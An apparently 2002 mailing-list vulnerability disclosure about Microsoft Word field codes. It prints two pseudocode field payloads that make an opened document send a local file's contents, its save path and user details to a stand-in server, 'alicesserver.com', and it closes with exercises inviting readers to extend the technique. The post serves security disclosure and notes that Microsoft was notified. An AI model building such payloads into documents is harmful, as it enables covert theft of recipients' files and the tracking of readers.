In-Reply-To: <[EMAIL PROTECTED]> A lot of people have been complaining about the fact that Alice must coerce Bob into editing and returning the bugged document. In this feature-driven market the cries of the users have not fallen on deaf ears. There appears to be a way for Alice to steal files from Bob (and a few other things) and all Bob has to do is open the Word document that Alice has sent to him. He no longer needs to bother with editing, or printing, or sending the document back to Alice. Richard Edwards brought up the fact that the {INCLUDEPICTURE} field, unlike the {INCLUDETEXT} field, accepts URLs and not just local file names. So, if Alice can get the {INCLUDEPICTURE} field to update automatically every time the document is opened (by using the \d switch, for example) it will trigger a message to be sent to a server of her choice. So, what can Alice do with it? She could, for example, get the absolute path of where Bob has saved the document as well as the contents of some other file on Bob's computer: { INCLUDEPICTURE { QUOTE "http:\\www.alicesserver.com\" & { FILENAME \p } & { INCLUDETEXT "c:\\a.txt" } } \d } She could also keep track of who is reading (or printing) the file she sent to Bob: { INCLUDEPICTURE { QUOTE "http:\\www.alicesserver.com\" & { USERNAME } & { USERADDRESS } } \d } There are some limitations to what Alice can do with this. Word limits the HTTP URLs to 256 characters ( I don't know what the limit for other URLs is). Also, the {USERNAME} and {USERADDRESS} fields do not update automatically when a document is opened on all versions of Word (but they do when the document is printed). The proof-of-concept code above is just pseudocode. It does not include all the triggers necessary for the fields to update automatically. I am sure that the reader can easily combine this with my previous post to get things right. Testing out this vulnerability is a little more difficult for individual users because it requires access to a web server. So, if anyone out there wants to contribute a web site that simply displays its own logs, I will contribute a Word file with a fully functioning demonstration of the exploit that people can use to test this vulnerability. I really don't have any time to spend on this at work, and I have already taken enough time from my wife and kid for this. So, I am dropping this as it stands now. For those interested in pursuing these issues further I have put together some exercises for the reader: 1) Other exploits of fields a) {INCLUDEPICTURE} accepts many different types of URLs. I've only tested HTTP (and mailto to some extent). What happens when you use FTP, telnet, file, etc? b) It appears that the {INCLUDEPICTURE} field creates only a one-way channel from the victim to the attacker. Is it possible that some of the URLs will allow a 2-way channel? If the field can ever evaluate to a text response (as opposed to the picture), the response can be used as input to another field. c) Are there other ways of triggering the automatic updating of fields? d) How far can you go with fields? Alice can set ({SET}) and get ({REF}) variables, branch ({IF}), perform basic math ({=}), get user information ({USERNAME}, {USERADDRESS}), read files ({INCLUDETEXT}, {INCLUDEPICTURE}), send messages over the network ({INCLUDEPICTURE}), and send commands to the printer ({PRINT}). 2) Are there other applications with similar vulnerabilities. 3) Has anyone seen an example of these exploits out in the wild (from before the original post to bugtraq)? Microsoft was notified on 9/17/2002. >From: Alex Gantman <[EMAIL PROTECTED]> >To: [EMAIL PROTECTED] >Subject: Security side-effects of Word fields > >
